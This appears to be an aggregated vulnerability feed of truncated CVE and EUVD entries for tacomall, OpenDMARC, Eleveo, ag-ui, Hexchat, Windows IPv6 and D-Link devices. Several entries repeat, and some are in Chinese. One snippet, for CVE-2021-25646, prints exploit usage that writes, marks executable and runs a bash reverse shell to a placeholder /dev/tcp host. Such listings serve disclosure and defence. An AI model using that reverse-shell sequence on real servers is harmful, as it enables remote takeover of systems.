EUVD-2026-88643

A vulnerability was identified in realjerrytang tacomall 1.0.0. Impacted is the function OrgStaffServiceImpl.add of the file ApiMaApplication.java of the component api-admin Backend. The manipulation of the argument isAdmin/jobId leads to improper authorization. Remote exploitation of the attack ...

CVE-2026-102293

A vulnerability exists in realjerrytang tacomall 1.0.0 within the api-admin Backend component. Specifically, the OrgStaffServiceImpl.add function in the ApiMaApplication.java file is susceptible to improper authorization when the isAdmin/jobId arguments are manipulated. This flaw allows for remot...

CVE-2016-2233

CVE-2016-2233 CVE-2016-2233 是一个基于栈的缓冲区溢出漏洞，涉及广泛使用的 IRC 软件 Hexchat。我们构建了一个 IRC 服务器，并对其发起攻击，使所有连接到该服务器的客户端崩溃。我们在 Ubuntu 12.04 上使用 Python 进行攻击利用。我们制作了一个补丁来修复该漏洞，并通过多种测试证明其确实有效。 如何安装 Hexchat 系统环境：Ubuntu 12.04 seed Python 版本：2.7.12 要设置依赖关系，应执行以下命令： sudo apt-get install gnome-common sudo apt-get instal...

CVE-2026-101279

A security vulnerability has been detected in Trusted Domain Project OpenDMARC up to 1.4.2. This impacts an unknown function of the file libopendmarc/opendmarcpolicy.c of the component DMARC Parser. The manipulation of the argument pct leads to integer overflow. Remote exploitation of the attack ...

UBUNTU-CVE-2026-101279

A security vulnerability has been detected in Trusted Domain Project OpenDMARC up to 1.4.2. This impacts an unknown function of the file libopendmarc/opendmarcpolicy.c of the component DMARC Parser. The manipulation of the argument pct leads to integer overflow. Remote exploitation of the attack ...

EUVD-2026-88594

A security vulnerability has been detected in Trusted Domain Project OpenDMARC up to 1.4.2. This impacts an unknown function of the file libopendmarc/opendmarcpolicy.c of the component DMARC Parser. The manipulation of the argument pct leads to integer overflow. Remote exploitation of the attack ...

CVE-2026-101279

A security vulnerability exists in Trusted Domain Project OpenDMARC up to version 1.4.2 . The flaw is located in the DMARC Parser component, specifically within an unknown function in the file libopendmarc/opendmarc_policy.c. The root cause is an integer overflow triggered by the manipulation of ...

CVE-2026-101279 Trusted Domain Project OpenDMARC opendmarc_policy.c integer overflow

A security vulnerability has been detected in Trusted Domain Project OpenDMARC up to 1.4.2. This impacts an unknown function of the file libopendmarc/opendmarcpolicy.c of the component DMARC Parser. The manipulation of the argument pct leads to integer overflow. Remote exploitation of the attack ...

CVE-2026-101279 Trusted Domain Project OpenDMARC opendmarc_policy.c integer overflow

A security vulnerability has been detected in Trusted Domain Project OpenDMARC up to 1.4.2. This impacts an unknown function of the file libopendmarc/opendmarcpolicy.c of the component DMARC Parser. The manipulation of the argument pct leads to integer overflow. Remote exploitation of the attack ...

CVE-2026-101144

A vulnerability was determined in Eleveo Call Recording Software 9.7.0. This affects an unknown part of the file /callrec/searchAction.do of the component Query Builder. This manipulation causes improper access controls. Remote exploitation of the attack is possible. The exploit has been publicly...

EUVD-2026-88475

A vulnerability was determined in Eleveo Call Recording Software 9.7.0. This affects an unknown part of the file /callrec/searchAction.do of the component Query Builder. This manipulation causes improper access controls. Remote exploitation of the attack is possible. The exploit has been publicly...

CVE-2026-101144

A vulnerability exists in Eleveo Call Recording Software 9.7.0 within the Query Builder component. Specifically, an unknown part of the /callrec/searchAction.do file is susceptible to manipulation, resulting in improper access controls . This flaw allows for remote exploitation , and the exploit ...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd 反弹shell如下： 写入反弹shell脚本 python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" 赋予shell脚本执行权限 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" 执行shell python3 CVE-2021-25646.p...

CVE-2026-101101

A vulnerability has been found in ag-ui-protocol ag-ui up to 2026-09-07. This issue affects the function JSON.parse of the file legacy/convert.ts of the component Middleware. The manipulation leads to uncaught exception. Remote exploitation of the attack is possible. Upgrading to version 2026-09-...

CVE-2024-38063-

CVE-2024-38063- 通过IPv6远程利用内核 CVE-2024-38063 - 通过IPv6远程利用内核 Marcus Hutchins 自从8月13日发布最新的Windows补丁以来，我一直沉浸在tcpip.sys（处理TCP/IP数据包的内核驱动程序）的深入研究之中。一个在Windows内核最易触及部分、CVSS评分高达9.8的漏洞，实在让我无法错过。我以前从未真正研究过IPv6（或负责解析它的驱动程序），所以我知道尝试逆向分析这个漏洞将极具挑战性，但也是一次很好的学习经历。...

CVE-2026-101101 ag-ui-protocol ag-ui Middleware convert.ts JSON.parse uncaught exception

A vulnerability has been found in ag-ui-protocol ag-ui up to 2026-09-07. This issue affects the function JSON.parse of the file legacy/convert.ts of the component Middleware. The manipulation leads to uncaught exception. Remote exploitation of the attack is possible. Upgrading to version 2026-09-...

CVE-2026-101101

The ag-ui-protocol ag-ui software (versions up to 2026-09-07 ) contains a vulnerability in the Middleware component. Specifically, the JSON.parse function within the legacy/convert.ts file can be manipulated to trigger an uncaught exception . This issue is susceptible to remote exploitation . To ...

EUVD-2026-88393

A vulnerability has been found in ag-ui-protocol ag-ui up to 2026-09-07. This issue affects the function JSON.parse of the file legacy/convert.ts of the component Middleware. The manipulation leads to uncaught exception. Remote exploitation of the attack is possible. Upgrading to version 2026-09-...

CVE-2026-101101 ag-ui-protocol ag-ui Middleware convert.ts JSON.parse uncaught exception

A vulnerability has been found in ag-ui-protocol ag-ui up to 2026-09-07. This issue affects the function JSON.parse of the file legacy/convert.ts of the component Middleware. The manipulation leads to uncaught exception. Remote exploitation of the attack is possible. Upgrading to version 2026-09-...

CVE-2024-10914

CVE-2024-10914 在 D-Link DNS-320、DNS-320LW、DNS-325 和 DNS-340L（截至 20241028）中发现了一个漏洞。该漏洞被评定为严重。受影响的是文件 /cgi-bin/accountmgr.cgi?cmd=cgiuseradd 中的函数 cgiuseradd。通过操纵参数 name 可导致操作系统命令注入。攻击可远程发起。攻击复杂度较高，利用难度较大。该漏洞利用方法已公开，可能被使用。 受影响设备 DNS-320 版本 1.00 DNS-320LW 版本 1.01.0914.2012 DNS-325 版本 1.01, 版本 1.02...